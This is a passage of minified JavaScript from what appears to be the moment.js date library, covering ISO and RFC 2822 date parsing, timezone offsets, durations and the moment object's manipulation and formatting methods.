u=je(Mt(),a,o);n=lt(t.gg,e._a[0],u.year),r=lt(t.w,u.week),null!=t.d?((i=t.d)<0||i>6)&&(l=!0):null!=t.e?(i=t.e+a,(t.e<0||t.e>6)&&(l=!0)):i=a}r<1||r>Fe(n,a,o)?d(e)._overflowWeeks=!0:null!=l?d(e)._overflowWeekday=!0:(s=Re(n,r,i,a,o),e._a[0]=s.year,e._dayOfYear=s.dayOfYear)}(e),null!=e._dayOfYear&&(o=lt(e._a[0],i[0]),(e._dayOfYear>ve(o)||0===e._dayOfYear)&&(d(e)._overflowDayOfYear=!0),n=De(o,0,e._dayOfYear),e._a[1]=n.getUTCMonth(),e._a[2]=n.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=s[t]=i[t];for(;t<7;t++)e._a[t]=s[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[3]&&0===e._a[4]&&0===e._a[5]&&0===e._a[6]&&(e._nextDay=!0,e._a[3]=0),e._d=(e._useUTC?De:ze).apply(null,s),a=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[3]=24),e._w&&"undefined"!==typeof e._w.d&&e._w.d!==a&&(d(e).weekdayMismatch=!0)}}var ct=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ft=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ht=/Z|[+-]\d\d(?::?\d\d)?/,dt=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],pt=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],mt=/^\/?Date\((\-?\d+)/i;function vt(e){var t,n,r,i,a,o,s=e._i,l=ct.exec(s)||ft.exec(s);if(l){for(d(e).iso=!0,t=0,n=dt.length;t<n;t++)if(dt[t][1].exec(l[1])){i=dt[t][0],r=!1!==dt[t][2];break}if(null==i)return void(e._isValid=!1);if(l[3]){for(t=0,n=pt.length;t<n;t++)if(pt[t][1].exec(l[3])){a=(l[2]||" ")+pt[t][0];break}if(null==a)return void(e._isValid=!1)}if(!r&&null!=a)return void(e._isValid=!1);if(l[4]){if(!ht.exec(l[4]))return void(e._isValid=!1);o="Z"}e._f=i+(a||"")+(o||""),wt(e)}else e._isValid=!1}var gt=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/;function yt(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}var bt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function xt(e){var t=gt.exec(e._i.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));if(t){var n=function(e,t,n,r,i,a){var o=[yt(e),Te.indexOf(t),parseInt(n,10),parseInt(r,10),parseInt(i,10)];return a&&o.push(parseInt(a,10)),o}(t[4],t[3],t[2],t[5],t[6],t[7]);if(!function(e,t,n){return!e||Ve.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(d(n).weekdayMismatch=!0,n._isValid=!1,!1)}(t[1],n,e))return;e._a=n,e._tzm=function(e,t,n){if(e)return bt[e];if(t)return 0;var r=parseInt(n,10),i=r%100;return(r-i)/100*60+i}(t[8],t[9],t[10]),e._d=De.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),d(e).rfc2822=!0}else e._isValid=!1}function wt(e){if(e._f!==r.ISO_8601)if(e._f!==r.RFC_2822){e._a=[],d(e).empty=!0;var t,n,i,a,o,s=""+e._i,l=s.length,u=0;for(i=Y(e._f,e._locale).match(L)||[],t=0;t<i.length;t++)a=i[t],(n=(s.match(ce(a,e))||[])[0])&&((o=s.substr(0,s.indexOf(n))).length>0&&d(e).unusedInput.push(o),s=s.slice(s.indexOf(n)+n.length),u+=n.length),H[a]?(n?d(e).empty=!1:d(e).unusedTokens.push(a),me(a,n,e)):e._strict&&!n&&d(e).unusedTokens.push(a);d(e).charsLeftOver=l-u,s.length>0&&d(e).unusedInput.push(s),e._a[3]<=12&&!0===d(e).bigHour&&e._a[3]>0&&(d(e).bigHour=void 0),d(e).parsedDateParts=e._a.slice(0),d(e).meridiem=e._meridiem,e._a[3]=function(e,t,n){var r;return null==n?t:null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((r=e.isPM(n))&&t<12&&(t+=12),r||12!==t||(t=0),t):t}(e._locale,e._a[3],e._meridiem),ut(e),st(e)}else xt(e);else vt(e)}function kt(e){var t=e._i,n=e._f;return e._locale=e._locale||ot(e._l),null===t||void 0===n&&""===t?m({nullInput:!0}):("string"===typeof t&&(e._i=t=e._locale.preparse(t)),x(t)?new b(st(t)):(l(t)?e._d=t:i(n)?function(e){var t,n,r,i,a;if(0===e._f.length)return d(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)a=0,t=g({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],wt(t),p(t)&&(a+=d(t).charsLeftOver,a+=10*d(t).unusedTokens.length,d(t).score=a,(null==r||a<r)&&(r=a,n=t));f(e,n||t)}(e):n?wt(e):function(e){var t=e._i;o(t)?e._d=new Date(r.now()):l(t)?e._d=new Date(t.valueOf()):"string"===typeof t?function(e){var t=mt.exec(e._i);null===t?(vt(e),!1===e._isValid&&(delete e._isValid,xt(e),!1===e._isValid&&(delete e._isValid,r.createFromInputFallback(e)))):e._d=new Date(+t[1])}(e):i(t)?(e._a=u(t.slice(0),(function(e){return parseInt(e,10)})),ut(e)):a(t)?function(e){if(!e._d){var t=I(e._i);e._a=u([t.year,t.month,t.day||t.date,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),ut(e)}}(e):s(t)?e._d=new Date(t):r.createFromInputFallback(e)}(e),p(e)||(e._d=null),e))}function _t(e,t,n,r,o){var s={};return!0!==n&&!1!==n||(r=n,n=void 0),(a(e)&&function(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(e.hasOwnProperty(t))return!1;return!0}(e)||i(e)&&0===e.length)&&(e=void 0),s._isAMomentObject=!0,s._useUTC=s._isUTC=o,s._l=n,s._i=e,s._f=t,s._strict=r,function(e){var t=new b(st(kt(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}(s)}function Mt(e,t,n,r){return _t(e,t,n,r,!1)}r.createFromInputFallback=S("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged and will be removed in an upcoming major release. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),r.ISO_8601=function(){},r.RFC_2822=function(){};var St=S("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Mt.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:m()})),Tt=S("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Mt.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:m()}));function Ot(e,t){var n,r;if(1===t.length&&i(t[0])&&(t=t[0]),!t.length)return Mt();for(n=t[0],r=1;r<t.length;++r)t[r].isValid()&&!t[r][e](n)||(n=t[r]);return n}var Et=["year","quarter","month","week","day","hour","minute","second","millisecond"];function Ct(e){var t=I(e),n=t.year||0,r=t.quarter||0,i=t.month||0,a=t.week||t.isoWeek||0,o=t.day||0,s=t.hour||0,l=t.minute||0,u=t.second||0,c=t.millisecond||0;this._isValid=function(e){for(var t in e)if(-1===ye.call(Et,t)||null!=e[t]&&isNaN(e[t]))return!1;for(var n=!1,r=0;r<Et.length;++r)if(e[Et[r]]){if(n)return!1;parseFloat(e[Et[r]])!==k(e[Et[r]])&&(n=!0)}return!0}(t),this._milliseconds=+c+1e3*u+6e4*l+1e3*s*60*60,this._days=+o+7*a,this._months=+i+3*r+12*n,this._data={},this._locale=ot(),this._bubble()}function Nt(e){return e instanceof Ct}function Pt(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function At(e,t){W(e,0,0,(function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+F(~~(e/60),2)+t+F(~~e%60,2)}))}At("Z",":"),At("ZZ",""),ue("Z",oe),ue("ZZ",oe),de(["Z","ZZ"],(function(e,t,n){n._useUTC=!0,n._tzm=Dt(oe,e)}));var zt=/([\+\-]|\d\d)/gi;function Dt(e,t){var n=(t||"").match(e);if(null===n)return null;var r=((n[n.length-1]||[])+"").match(zt)||["-",0,0],i=60*r[1]+k(r[2]);return 0===i?0:"+"===r[0]?i:-i}function It(e,t){var n,i;return t._isUTC?(n=t.clone(),i=(x(e)||l(e)?e.valueOf():Mt(e).valueOf())-n.valueOf(),n._d.setTime(n._d.valueOf()+i),r.updateOffset(n,!1),n):Mt(e).local()}function Rt(e){return 15*-Math.round(e._d.getTimezoneOffset()/15)}function jt(){return!!this.isValid()&&this._isUTC&&0===this._offset}r.updateOffset=function(){};var Ft=/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/,Lt=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function Bt(e,t){var n,r,i,a=e,o=null;return Nt(e)?a={ms:e._milliseconds,d:e._days,M:e._months}:s(e)?(a={},t?a[t]=e:a.milliseconds=e):(o=Ft.exec(e))?(n="-"===o[1]?-1:1,a={y:0,d:k(o[2])*n,h:k(o[3])*n,m:k(o[4])*n,s:k(o[5])*n,ms:k(Pt(1e3*o[6]))*n}):(o=Lt.exec(e))?(n="-"===o[1]?-1:1,a={y:Vt(o[2],n),M:Vt(o[3],n),w:Vt(o[4],n),d:Vt(o[5],n),h:Vt(o[6],n),m:Vt(o[7],n),s:Vt(o[8],n)}):null==a?a={}:"object"===typeof a&&("from"in a||"to"in a)&&(i=function(e,t){var n;return e.isValid()&&t.isValid()?(t=It(t,e),e.isBefore(t)?n=Ht(e,t):((n=Ht(t,e)).milliseconds=-n.milliseconds,n.months=-n.months),n):{milliseconds:0,months:0}}(Mt(a.from),Mt(a.to)),(a={}).ms=i.milliseconds,a.M=i.months),r=new Ct(a),Nt(e)&&c(e,"_locale")&&(r._locale=e._locale),r}function Vt(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Ht(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function Wt(e,t){return function(n,r){var i;return null===r||isNaN(+r)||(E(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=n,n=r,r=i),qt(this,Bt(n="string"===typeof n?+n:n,r),e),this}}function qt(e,t,n,i){var a=t._milliseconds,o=Pt(t._days),s=Pt(t._months);e.isValid()&&(i=null==i||i,s&&Ee(e,we(e,"Month")+s*n),o&&ke(e,"Date",we(e,"Date")+o*n),a&&e._d.setTime(e._d.valueOf()+a*n),i&&r.updateOffset(e,o||s))}Bt.fn=Ct.prototype,Bt.invalid=function(){return Bt(NaN)};var Yt=Wt(1,"add"),Ut=Wt(-1,"subtract");function $t(e,t){var n=12*(t.year()-e.year())+(t.month()-e.month()),r=e.clone().add(n,"months");return-(n+(t-r<0?(t-r)/(r-e.clone().add(n-1,"months")):(t-r)/(e.clone().add(n+1,"months")-r)))||0}function Gt(e){var t;return void 0===e?this._locale._abbr:(null!=(t=ot(e))&&(this._locale=t),this)}r.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",r.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var Zt=S("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function Xt(){return this._locale}function Kt(e,t){return(e%t+t)%t}function Qt(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-126227808e5:new Date(e,t,n).valueOf()}function Jt(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-126227808e5:Date.UTC(e,t,n)}function en(e,t){W(0,[e,e.length],0,t)}function tn(e,t,n,r,i){var a;return null==e?je(this,r,i).year:(t>(a=Fe(e,r,i))&&(t=a),nn.call(this,e,t,n,r,i))}function nn(e,t,n,r,i){var a=Re(e,t,n,r,i),o=De(a.year,0,a.dayOfYear);return this.year(o.getUTCFullYear()),this.month(o.getUTCMonth()),this.date(o.getUTCDate()),this}W(0,["gg",2],0,(function(){return this.weekYear()%100})),W(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),en("gggg","weekYear"),en("ggggg","weekYear"),en("GGGG","isoWeekYear"),en("GGGGG","isoWeekYear"),z("weekYear","gg"),z("isoWeekYear","GG"),j("weekYear",1),j("isoWeekYear",1),ue("G",ie),ue("g",ie),ue("GG",K,$),ue("gg",K,$),ue("GGGG",te,Z),ue("gggg",te,Z),ue("GGGGG",ne,X),ue("ggggg",ne,X),pe(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,r){t[r.substr(0,2)]=k(e)})),pe(["gg","GG"],(function(e,t,n,i){t[i]=r.parseTwoDigitYear(e)})),W("Q",0,"Qo","quarter"),z("quarter","Q"),j("quarter",7),ue("Q",U),de("Q",(function(e,t){t[1]=3*(k(e)-1)})),W("D",["DD",2],"Do","date"),z("date","D"),j("date",9),ue("D",K),ue("DD",K,$),ue("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),de(["D","DD"],2),de("Do",(function(e,t){t[2]=k(e.match(K)[0])}));var rn=xe("Date",!0);W("DDD",["DDDD",3],"DDDo","dayOfYear"),z("dayOfYear","DDD"),j("dayOfYear",4),ue("DDD",ee),ue("DDDD",G),de(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=k(e)})),W("m",["mm",2],0,"minute"),z("minute","m"),j("minute",14),ue("m",K),ue("mm",K,$),de(["m","mm"],4);var an=xe("Minutes",!1);W("s",["ss",2],0,"second"),z("second","s"),j("second",15),ue("s",K),ue("ss",K,$),de(["s","ss"],5);var on,sn=xe("Seconds",!1);for(W("S",0,0,(function(){return~~(this.millisecond()/100)})),W(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),W(0,["SSS",3],0,"millisecond"),W(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),W(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),W(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),W(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),W(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),W(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),z("millisecond","ms"),j("millisecond",16),ue("S",ee,U),ue("SS",ee,$),ue("SSS",ee,G),on="SSSS";on.length<=9;on+="S")ue(on,re);function ln(e,t){t[6]=k(1e3*("0."+e))}for(on="S";on.length<=9;on+="S")de(on,ln);var un=xe("Milliseconds",!1);W("z",0,0,"zoneAbbr"),W("zz",0,0,"zoneName");var cn=b.prototype;function fn(e){return e}cn.add=Yt,cn.calendar=function(e,t){var n=e||Mt(),i=It(n,this).startOf("day"),a=r.calendarFormat(this,i)||"sameElse",o=t&&(C(t[a])?t[a].call(this,n):t[a]);return this.format(o||this.localeData().calendar(a,this,Mt(n)))},cn.clone=function(){return new b(this)},cn.diff=function(e,t,n){var r,i,a;if(!this.isValid())return NaN;if(!(r=It(e,this)).isValid())return NaN;switch(i=6e4*(r.utcOffset()-this.utcOffset()),t=D(t)){case"year":a=$t(this,r)/12;break;case"month":a=$t(this,r);break;case"quarter":a=$t(this,r)/3;break;case"second":a=(this-r)/1e3;break;case"minute":a=(this-r)/6e4;break;case"hour":a=(this-r)/36e5;break;case"day":a=(this-r-i)/864e5;break;case"week":a=(this-r-i)/6048e5;break;default:a=this-r}return n?a:w(a)},cn.endOf=function(e){var t;if(void 0===(e=D(e))||"millisecond"===e||!this.isValid())return this;var n=this._isUTC?Jt:Qt;switch(e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=36e5-Kt(t+(this._isUTC?0:6e4*this.utcOffset()),36e5)-1;break;case"minute":t=this._d.valueOf(),t+=6e4-Kt(t,6e4)-1;break;case"second":t=this._d.valueOf(),t+=1e3-Kt(t,1e3)-1}return this._d.setTime(t),r.updateOffset(this,!0),this},cn.format=function(e){e||(e=this.isUtc()?r.defaultFormatUtc:r.defaultFormat);var t=q(this,e);return this.localeData().postformat(t)},cn.from=function(e,t){return this.isValid()&&(x(e)&&e.isValid()||Mt(e).isValid())?Bt({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},cn.fromNow=function(e){return this.from(Mt(),e)},cn.to=function(e,t){return this.isValid()&&(x(e)&&e.isValid()||Mt(e).isValid())?Bt({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},cn.toNow=function(e){return this.to(Mt(),e)},cn.get=function(e){return C(this[e=D(e)])?this[e]():this},cn.invalidAt=function(){return d(this).overflow},cn.isAfter=function(e,t){var n=x(e)?e:Mt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=D(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},cn.isBefore=function(e,t){var n=x(e)?e:Mt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=D(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},cn.isBetween=function(e,t,n,r){var i=x(e)?e:Mt(e),a=x(t)?t:Mt(t);return!!(this.isValid()&&i.isValid()&&a.isValid())&&("("===(r=r||"()")[0]?this.isAfter(i,n):!this.isBefore(i,n))&&(")"===r[1]?this.isBefore(a,n):!this.isAfter(a,n))},cn.isSame=function(e,t){var n,r=x(e)?e:Mt(e);return!(!this.isValid()||!r.isValid())&&("millisecond"===(t=D(t)||"millisecond")?this.valueOf()===r.valueOf():(n=r.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},cn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},cn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},cn.isValid=function(){return p(this)},cn.lang=Zt,cn.locale=Gt,cn.localeData=Xt,cn.max=Tt,cn.min=St,cn.parsingFlags=function(){return f({},d(this))},cn.set=function(e,t){if("object"===typeof e)for(var n=function(e){var t=[];for(var n in e)t.push({unit:n,priority:R[n]});return t.sort((function(e,t){return e.priority-t.priority})),t}(e=I(e)),r=0;r<n.length;r++)this[n[r].unit](e[n[r].unit]);else if(C(this[e=D(e)]))return this[e](t);return this},cn.startOf=function(e){var t;if(void 0===(e=D(e))||"millisecond"===e||!this.isValid())return this;var n=this._isUTC?Jt:Qt;switch(e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=Kt(t+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":t=this._d.valueOf(),t-=Kt(t,6e4);break;case"second":t=this._d.valueOf(),t-=Kt(t,1e3)}return this._d.setTime(t),r.updateOffset(this,!0),this},cn.subtract=Ut,cn.toArray=function(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]},cn.toObject=function(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}},cn.toDate=function(){return new Date(this.valueOf())},cn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?q(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):C(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",q(n,"Z")):q(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},cn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e="moment",t="";this.isLocal()||(e=0===this.utcOffset()?"moment.utc":"moment.parseZone",t="Z");var n="["+e+'("]',r=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=t+'[")]';return this.format(n+r+"-MM-DD[T]HH:mm:ss.SSS"+i)},cn.toJSON=function(){return this.isValid()?this.toISOString():null},cn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},cn.unix=function(){return Math.floor(this.valueOf()/1e3)},cn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},cn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},cn.year=be,cn.isLeapYear=function(){return ge(this.year())},cn.weekYear=function(e){return tn.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},cn.isoWeekYear=function(e){return tn.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},cn.quarter=cn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},cn.month=Ce,cn.daysInMonth=function(){return _e(this.year(),this.month())},cn.week=cn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},cn.isoWeek=cn.isoWeeks=function(e){var t=je(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},cn.weeksInYear=function(){var e=this.localeData()._week;return Fe(this.year(),e.dow,e.doy)},cn.isoWeeksInYear=function(){return Fe(this.year(),1,4)},cn.date=rn,cn.day=cn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!==typeof e?e:isNaN(e)?"number"===typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},cn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},cn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"===typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},cn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},cn.hour=cn.hours=Qe,cn.minute=cn.minutes=an,cn.second=cn.seconds=sn,cn.millisecond=cn.milliseconds=un,cn.utcOffset=function(e,t,n){var i,a=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"===typeof e){if(null===(e=Dt(oe,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(i=Rt(this)),this._offset=e,this._isUTC=!0,null!=i&&this.add(i,"m"),a!==e&&(!t||this._changeInProgress?qt(this,Bt(e-a,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,r.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?a:Rt(this)},cn.utc=function(e){return this.utcOffset(0,e)},cn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Rt(this),"m")),this},cn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"===typeof this._i){var e=Dt(ae,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},cn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?Mt(e).utcOffset():0,(this.utcOffset()-e)%60===0)},cn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},cn.isLocal=function(){return!!this.isValid()&&!this._isUTC},cn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},cn.isUtc=jt,cn.isUTC=jt,cn.zoneAbbr=function(){return this._isUTC?"UTC":""},cn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},cn.dates=S("dates accessor is deprecated. Use date instead.",rn),cn.months=S("months accessor is deprecated. Use month instead",Ce),cn.years=S("years accessor is deprecated. Use year instead",be),cn.zone=S("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(e,t){return null!=e?("string"!==typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()})),cn.isDSTShifted=S("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!o(this._isDSTShifted))return this._isDSTShifted;var e={};if(g(e,this),(e=kt(e))._a){var t=e._isUTC?h(e._a):Mt(e._a);this._isDSTShifted=this.isValid()&&_(e._a,t.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted}));var hn=P.prototype;function dn(e,t,n,r){var i=ot(),a=h().set(r,t);return i[n](a,e)}function pn(e,t,n){if(s(e)&&(t=e,e=void 0),e=e||"",null!=t)return dn(e,t,n,"month");var r,i=[];for(r=0;r<12;r++)i[r]=dn(e,r,n,"month");return i}function mn(e,t,n,r){"boolean"===typeof e?(s(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,s(t)&&(n=t,t=void 0),t=t||"");var i,a=ot(),o=e?a._week.dow:0;if(null!=n)return dn(t,(n+o)%7,r,"day");var l=[];for(i=0;i<7;i++)l[i]=dn(t,(i+o)%7,r,"day");return l}hn.calendar=function(e,t,n){var r=this._calendar[e]||this._calendar.sameElse;return C(r)?r.call(t,n):r},hn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.replace(/MMMM|MM|DD|dddd/g,(function(e){return e.slice(1)})),this._longDateFormat[e])},hn.invalidDate=function(){return this._invalidDate},hn.ordinal=function(e){return this._ordinal.replace("%d",e)},hn.preparse=fn,hn.postformat=fn,hn.relativeTime=function(e,t,n,r){var i=this._relativeTime[n];return C(i)?i(e,t,n,r):i.replace(/%d/i,e)},hn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return C(n)?n(t):n.replace(/%s/i,t)},hn.set=function(e){var t,n;for(n in e)C(t=e[n])?this[n]=t:this["_"+n]=t;this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},hn.months=function(e,t){return e?i(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Me).test(t)?"format":"standalone"][e.month()]:i(this._months)?this._months:this._months.standalone},hn.monthsShort=function(e,t){return e?i(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Me.test(t)?"format":"standalone"][e.month()]:i(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},hn.monthsParse=function(e,t,n){var 